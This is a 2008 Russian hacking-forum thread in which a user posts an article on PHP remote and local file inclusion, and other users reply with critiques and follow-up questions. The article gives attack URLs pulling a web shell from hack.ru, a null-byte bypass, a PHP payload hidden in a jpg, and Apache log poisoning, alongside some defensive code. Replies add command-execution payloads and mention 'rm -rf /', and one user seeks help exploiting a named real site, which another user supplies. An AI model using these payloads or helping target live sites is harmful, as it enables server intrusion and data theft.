Авторские статьи PHP-include и способы защиты

Discussion in 'Статьи' started by _Pantera_, 14 Nov 2008.

  1. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    Введение


    Всем привет! В этой статье я постараюсь рассказать все о php-include, собрав все что мне известно в одну статью. Буду рад любой критике, а также постараюсь дорабатывать со временем данную статью!




    Глобальный инклуд


    Наиболее опасная из уязвимостей веба, но к сожалению, или к счастью встречается в наше время крайне редко. Для атаки необходимо, что б функция allow_url_include была включена, тоесть On
    Уязвимость позволяет злоумышленнику выполнить на сервере произвольный php код.
    В PHP существуют четыре функции для включения файлов в сценарии PHP:

    * include();
    * include_once();
    * require();
    * require_once().


    Функция include() включает содержимое файла в сценарий. Рассмотрим пример "дважды" уязвимого кода:
    PHP:
    <?php
        
    if($_GET['page'].'.php')
        {
             include(
    $_GET['page'].'.php');
        }
        else
        {
             include(
    $file.'.php');
        }
    ?>
    С помощью условия мы проверяем, если через url на сервер передается элемент массива $_GET['page'], то вызываем функцию include(). Из-за того, что значение массива $_GET['page'] не проверяется на существование, с помощью функции file_exists() злоумышленник может провести атаку:

    Code:
    http://site.ru/index.php?page=http://hack.ru/shell
    В ином случае мы инклудим include($file.'.php'); Тут таже ситуация, просто запись кода немного другая. Переменная $file не
    была определенна раннее и злоумышленник может выполнить удаленно php код:

    Code:
    http://site.ru/index.php?file=http://hack.ru/shell
    Функция include_once() практически не отличается от include(), за одним исключением: прежде чем включать файл в программу,
    она проверяет, не был ли он включен ранее. Если файл уже был включен, вызов include_once() игнорируется, а если нет -
    происходит стандартное включение файла.
    PHP:
    <?php
        
    include_once($file.'.gif');
    ?>
    В этом примере к подгружаемому файлу автоматически приписывается расширение '.gif'
    Избавиться от расширения '.gif' можно двумя способами:
    1) если magic_quotes_gpc = Off то можно использовать "ядовитый ноль" - %00 который отрежит расширение
    Code:
    http://site.ru/index.php?file=http://hack.ru/shell.php%00
    2) даже если magic_quotes_gpc = On
    Code:
    http://site.ru/index.php?file=http://hack.ru/shell.php?

    Функция require() аналогична include(), за исключением одного - файл, определяемый параметром require(), включается в
    сценарий независимо от местонахождения require() в сценарии.
    PHP:
    <?php
        
    require($file);
    ?>
    Атака аналогична, но в этом случае расширение не приписывается:
    Code:
    http://site.ru/index.php?page=http://hack.ru/shell.php

    Функция require_once() загружает файл в сценарий всего один раз.
    PHP:
    <?php
        
    require_once($file.'.php');
    ?>
    Атака аналогична...




    Теперь рассмотрим другой вариант инклуда. На этот раз необходимо, что б в файле php.ini
    значение параметра allow_url_fopen было равно On, что и есть по умолчанию.

    PHP:
    <?php
        $f
    =fopen("$file.php","r");
        
        while (!
    feof($f))
        {
            
    $s=fgets($f,255);
            echo 
    $s;
        }
        
        
    fclose($f);
    ?>
    Из-за того что переменная $file не была определена ранее, злоумышленник может произвести атаку:

    Code:
    http://site.ru/index.php?file=http://hack.ru/shell
    В итоге опять получаем веб-шелл.



    Следующий пример - использование функции readfile()

    PHP:
    <?php
        readfile
    ($file); 
    ?>
    Функция readfile() считывает файл, имя которого передано ей в качестве параметра, и выводит его содержимое на экран.
    В итоге опять получаем веб-шелл:

    Code:
    http://site.ru/index.php?file=http://hack.ru/shell

    Теперь рассмотрим такой вариант:

    PHP:
    <?php  
        
    echo implode(""file($file));
    ?>
    С помощью функции implode() мы объединяем элементы массива в строку, а с помощью функции file() получаем содержимое файла в виде массива. В итоге опять имеем веб-шелл:
    Code:
    http://site.ru/index.php?file=http://hack.ru/shell.php


    Защита от глобальный инклудов

    Конечно можно проверять файл на существование с помощью функции file_exists() и отфильтровывать нежелательные символы с помощью str_replace(), но я рекомендую использовать конструкцию switch case:

    PHP:
    <?php

        
    global $page;

        switch (
    $page
        {
            case 
    '':
            include (
    "pages/main.php");
            break;
        
            case 
    'index':
            include (
    "pages/main.php");
            break;

            case 
    'page1':
            include (
    "pages/folder/page1.php");
            break;

            case 
    'page2':
            include (
    "pages/folder/page2.php");
            break;
        
            default:
            include (
    "pages/hack.php");
            break;
        }

    ?>
    Так же рекомендую отредактировать файл php.ini:



    Локальный инклуд

    Не менее опасная уязвимость в вебе. Позволяет злоумышленнику инклудить файлы лежащие на сервере. Многие новички сталкиваясь с данной ошибкой веб-кодинга бросают дело, т.к не знают как действовать дальше и в какую сторону копать. Я приведу общий пример:

    PHP:
    <?php
        
    include("include/$file"); 
    ?>
    Глобально проинклудить не получиться, т.к переменная $file приписывается после каталога /include/
    Что же можно сделать?

    Идеальным считается тот случай, когда на сайте стоит или форум или иная форма, с помощью которой можно загрузить любой файл c любым расширением.
    Возникает вопрос - а почему с любым расширением? Возьмем к примеру вымышленный сайт на котором есть возможность загрузки аватарки через форум. На форуме стоит скрипт, который проверяет - действительно ли пользователь загрузил фотографию? Открываем paint и сохраняем любое изображение к примеру в формате jpg. После чего открываем его блокнотом и после кода изображения пишем <?php include("http://hack.ru/shell.php"); ?> В итоге получаем примерно такую картину:

    Теперь такую картинку можно загрузить на форум и она будет воспринята именно как картинка :)
    Вернемся к вопросу о расширении. Почему нам подойдет любое? Дело в том, что функция include()
    загружает код из одного файла в исполняемый файл. Вот пример:

    Code:
    http://www.site.com/index.php?include=../forum/images/shell.jpg 
    В результате, в файле index.php выполняется код <?php include("http://hack.ru/shell.php"); ?>



    Логи апатча

    Как известно apache ведет лог-файлы httpd-access.log и httpd-error.log и все запросы
    естественно логируются и пишутся в соответствующие файлы. Вот примерное их расположение:

    Я же приведу пример на локалхосте, думаю многим понятнее будет. С помощью программы InetCrack я отправляю пакет такого содержания:

    Заголовок пакета записывается в логи апатча, расположенные по адресу:
    Code:
    Z:\usr\local\apache\logs\access.log
    Тоесть в этот файлик записывается вот такая строчка:

    Думаю суть понятна. Нам остается его проинклудить:

    Code:
    http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log
    И получить веб-шелл :)




    Защита от локальных инклудов


    Вот небольшой примерчик, как можно надежно защититься:
    PHP:
    <?php


        
    function stripslashes_for_array(&$array
        {
            
    reset($array);    
            while (list(
    $key$val) = each($array)) 
            {
                if (
    is_string($val)) $array[$key] = stripslashes($val);
                elseif (
    is_array($val)) $array[$key] = stripslashes_for_array($val); 
            }
        return 
    $array;
        }  

        if (!
    get_magic_quotes_gpc())
        {
                
    stripslashes_for_array($_POST);
                
    stripslashes_for_array($_GET);
        }

        if(isset(
    $_GET['file']))$file=$_GET['file']; 
        else 
        { 
            if(isset(
    $_POST['file']))$file=$_POST['file']; 
            else 
    $file=''
        } 

        
    $file=str_replace('/','',$file); 
        
    $file=str_replace('.','',$file); 
        if(!
    file_exists("include".'/'.$file.'.php')||$file=='index'
        {
            
    $file='news';
        }
        
        include(
    "include".'/'.$file.'.php');
        
    ?>
    И так, что тут происходит? Каждый элемент массива проверяется функцией stripslashes(). Она убивает бэкслеши. Далее проверяем установлено или нет значение элемента массива. Отфильтровуем недопустимые символы('/', '.') функцией str_replace(). Если файла не существует (проверяем с помощью функции file_exists()) - присваиваем значение переменной $file='news'. В остальных случаях(когда файл существует) инклудим его.

    ***************************************

    PS Все что описано в статье я проверял на локалхосте. Надеюсь каждый из нее черпанет чего-нибудь новенького и интересного. Спасибо за внимание :)
     
    #1 _Pantera_, 14 Nov 2008
    Last edited: 16 Nov 2008
    7 people like this.
  2. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    Гораздо проще выучить ООП. Нужда в подобных конструкциях отпадет.
     
    1 person likes this.
  3. Zinus

    Zinus Banned

    Joined:
    8 Aug 2008
    Messages:
    17
    Likes Received:
    10
    Reputations:
    1
    TRUE PHP-injection - Вот эта статья мне нравится больше. Да и не пойму зачем писать по 100 раз об одном и том же..тема разжевана уже дальше некуда. Короче всё боян от начала до конца
     
  4. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    мягко говоря некорректное определение функции
    принято называть удаленный инклуд (remote include)
    В твоем коде переменной page вообще нет, есть элемент массива $_GET['page'], который ранее никак не мог быть инициализирован
    а если register_globals=off ?
    нуллбайт означает конец строки в C,C++ - но уж точно не в php
    а если повнимательней?
     
    1 person likes this.
  5. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    ты хочешь сказать, что в PHP нужно указывать в конце каждой строки нуллбайт, как это делается в С?
    http://ru.wikipedia.org/wiki/Нуль-терминированная_строка
     
  6. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    я не сомневаюсь, что так будет работать, но зачем называть переменную $GET_[cmd]? Тем более, что ее назначить нельзя будет, т.е если просто написать
    GET /index.php/<?php system(dir); ?> HTTP/1.0
    результат тот же будет

    <?php system($_GET[cmd]) ?> неужели так сложно?
     
    #6 [Raz0r], 14 Nov 2008
    Last edited: 14 Nov 2008
  7. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Мда(с)

    Судя по этому посту автор просто не понимает, что вы ему пытаетесь объяснить. Он просто "не в теме"

    Мне например очень "понравилось" про шелл в картинке. Заливаем мы значит туда этот код : <?php @system($GET_[cmd] = "ls -la"); ?>,
    так, и что-же мы будем делать дальше? :) Я так полагаю будем лить ещё одну картинку? :)
     
  8. vladim1

    vladim1 New Member

    Joined:
    12 Nov 2008
    Messages:
    9
    Likes Received:
    1
    Reputations:
    0
    http://autismcorner.com/Verhaal.php?dir=.&file=../Verhaal.php

    А в током случае есть решение ???
     
  9. Sleep

    Sleep Elder - Старейшина

    Joined:
    31 Oct 2007
    Messages:
    274
    Likes Received:
    65
    Reputations:
    4
    2 Vadim1
    _http://autismcorner.com/Verhaal.php?dir=http://SleepSleepSleep.narod.ru&language=nl&file=1.php там просто чтение файла
    локальные файлы читать наврятли получится так как там папка /nl/ перед именем файла идёт, задается она переменной language но менять ее можно только на en,nl
     
  10. vladim1

    vladim1 New Member

    Joined:
    12 Nov 2008
    Messages:
    9
    Likes Received:
    1
    Reputations:
    0
    обойти /nl,en/ я смог, проблема чтения локальных файлов это
    . Меня интересуют файлы другого сайта на этом хосте
     
  11. bombeg

    bombeg Member

    Joined:
    27 Oct 2008
    Messages:
    136
    Likes Received:
    83
    Reputations:
    8
    и потом не меняя пользователя написать команду rm -rf /
     
  12. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    На другие зайти через эту читалку не сможешь, а прочитать все файлы лежащие на этом сайте - без проблем!
     
  13. vladim1

    vladim1 New Member

    Joined:
    12 Nov 2008
    Messages:
    9
    Likes Received:
    1
    Reputations:
    0
    Прочитал все, везде тупой file() -> echo, не один нормальный include
     
  14. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    Немного доработал статью! Если есть еще какие-либо идеи - пишите, я добавлю!
     
  15. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    PHP:
    function stripslashes_for_array(&$a
        { 
            foreach(
    $a as $k=>$v
            { 
                
    $a[$k] = stripslashes($v); 
            } 
        } 

        if (!
    get_magic_quotes_gpc()) 
        { 
            
    stripslashes_for_array($_POST); 
            
    stripslashes_for_array($_GET); 
        }
    а если передать index.php?file[][][]=lol? раскрытие путей... Нужно рекурсивно вызывать функцию обработки массивов
     
    1 person likes this.
  16. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    Исправлено! Спасибо [Raz0r]
     
  17. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Зато инклуда не будет))А почему это сработает? Вывода же нет.
     
  18. cr0w

    cr0w Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    92
    Likes Received:
    141
    Reputations:
    33
    Эээ, а где тут "мы имеем веб-шелл"? Без eval'a заместо echo тут нигде не получишь шелла...
     
    1 person likes this.
  19. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Не тупи, это просто читалка, ты просто не делай file=http://test1.ru/shell.php а сделай shell.txt . Т.к. в первом случае ты просто выводишь на экран результат работы того файла на том сервере, а не запускаешь его код.

    З.Ы.
    jokester спс.
     
    #19 Qwazar, 17 Feb 2009
    Last edited: 17 Feb 2009
    2 people like this.
  20. xMSAx

    xMSAx New Member

    Joined:
    1 Mar 2009
    Messages:
    15
    Likes Received:
    0
    Reputations:
    -1
    А тут можно провести инклуд?
    Code:
    <?php
    include_once('папка/config.php');
    include_once('папкаclass_usershop.php');
    include_once('папкаclass_users.php');
    include_once('папка/functions_usershop.php');
     
    если например это nea.php как провести php inj?